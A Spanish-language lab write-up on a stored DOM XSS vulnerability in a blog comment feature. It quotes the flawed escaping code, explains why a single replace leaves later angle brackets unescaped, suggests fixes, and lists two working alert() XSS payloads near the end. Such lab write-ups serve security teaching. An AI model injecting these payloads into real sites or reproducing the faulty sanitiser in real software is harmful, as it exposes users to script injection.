> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xss/stored-dom-xss.md).

# XSS DOM almacenado

### XSS DOM almacenado

Este laboratorio demuestra una vulnerabilidad DOM almacenada en la función de comentarios del blog. Para resolver el laboratorio, usa esta vulnerabilidad para ejecutar el `alert()` función.

si insertas el clásico `script` en el área de comentarios:

```javascript
<script>alert(0)</script>
```

Observamos que el sitio elimina parte del comentario.

<figure><img src="/files/a92cf669e400b87c74edb747f3e277899d05ffa0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f7ebb94789c147bf3feee402d4ce5445b031aff2" alt=""><figcaption></figcaption></figure>

La función es:

```javascript
function loadComments(postCommentPath) {
    let xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            let comments = JSON.parse(this.responseText);
            displayComments(comments);
        }
    };
    xhr.open("GET", postCommentPath + window.location.search);
    xhr.send();

    function escapeHTML(html) {
        return html.replace('<', '&lt;').replace('>', '&gt;');
    }

    function displayComments(comments) {
        let userComments = document.getElementById("user-comments");

        for (let i = 0; i < comments.length; ++i)
        {
            comment = comments[i];
            let commentSection = document.createElement("section");
            commentSection.setAttribute("class", "comment");

            let firstPElement = document.createElement("p");

            let avatarImgElement = document.createElement("img");
            avatarImgElement.setAttribute("class", "avatar");
            avatarImgElement.setAttribute("src", comment.avatar ? escapeHTML(comment.avatar) : "/resources/images/avatarDefault.svg");

            if (comment.author) {
                if (comment.website) {
                    let websiteElement = document.createElement("a");
                    websiteElement.setAttribute("id", "author");
                    websiteElement.setAttribute("href", comment.website);
                    firstPElement.appendChild(websiteElement)
                }

                let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author)
                firstPElement.innerHTML = newInnerHtml
            }

            if (comment.date) {
                let dateObj = new Date(comment.date)
                let month = '' + (dateObj.getMonth() + 1);
                let day = '' + dateObj.getDate();
                let year = dateObj.getFullYear();

                if (month.length < 2)
                    month = '0' + month;
                if (day.length < 2)
                    day = '0' + day;

                dateStr = [day, month, year].join('-');

                let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
                firstPElement.innerHTML = newInnerHtml
            }

            firstPElement.appendChild(avatarImgElement);

            commentSection.appendChild(firstPElement);

            if (comment.body) {
                let commentBodyPElement = document.createElement("p");
                commentBodyPElement.innerHTML = escapeHTML(comment.body);

                commentSection.appendChild(commentBodyPElement);
            }
            commentSection.appendChild(document.createElement("p"));

            userComments.appendChild(commentSection);
        }
    }
};
```

* El `escapeHTML(HTML)` la función no escapa **que la primera** aparición de `<` y `>` (uso de `replace` simple).
* Como el código luego usa `innerHTML` para insertar valores, las etiquetas maliciosas pueden permanecer y ser interpretadas por el navegador.
* Por lo tanto, el saneamiento solo es efectivo para la primera aparición; las siguientes permanecen vulnerables.

<figure><img src="/files/586e52b2c35a74c786d3591820dbd4b76a669996" alt=""><figcaption></figcaption></figure>

* Usa un reemplazo global (`replaceAll` o una expresión regular global) para escapar **todas** las apariciones de `<` y `>`.
* Evita usar `innerHTML` para datos no fiables; prefiere `textContent` o `createTextNode`

<figure><img src="/files/d23423ec6ea5008537dbc14e7a18fe2b53f478ae" alt=""><figcaption></figcaption></figure>

Cargas útiles explotables

* Cierra e inyecta un script:

```javascript
<><script>alert(0)</script>
```

* Fuerza un error de imagen para activar `onerror:`

```javascript
<><img src=0 onerror=alert(0)>
```

Estas cargas útiles funcionan porque solo unos pocos caracteres se transforman y las apariciones adicionales de `<`/`>` siguen siendo interpretables.

<figure><img src="/files/01f9f1d91d277ce75499de0c788b0788a15a4270" alt=""><figcaption></figcaption></figure>


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